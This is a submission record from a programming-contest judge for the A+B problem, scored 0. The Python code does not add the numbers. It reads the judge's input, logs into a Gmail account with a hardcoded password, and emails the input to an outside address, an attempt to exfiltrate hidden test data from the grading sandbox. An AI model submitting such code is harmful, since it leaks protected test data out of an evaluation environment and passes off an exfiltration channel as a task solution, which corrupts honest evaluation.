Cod sursa(job #2728163)
Utilizator | Data | 22 martie 2021 20:41:18 | |
---|---|---|---|
Problema | A+B | Scor | 0 |
Compilator | py | Status | done |
Runda | Arhiva de probleme | Marime | 0.38 kb |
import smtplib
sender_email = '[email protected]'
rec_email = '[email protected]'
password = 'hackattempt'
message = input() + ' ' + input()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.ehlo()
server.login(sender_email, password)
print('Login success!')
server.sendmail(sender_email, rec_email, message)
print('Email sent!')